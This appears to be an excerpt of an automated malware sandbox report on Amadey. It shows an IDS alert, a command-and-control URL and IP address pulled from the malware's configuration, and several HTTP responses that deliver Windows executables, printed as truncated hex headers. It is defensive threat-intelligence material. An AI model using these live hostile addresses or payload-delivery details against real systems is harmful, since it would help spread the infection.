Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:56431

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.8:56368 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 18:11:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
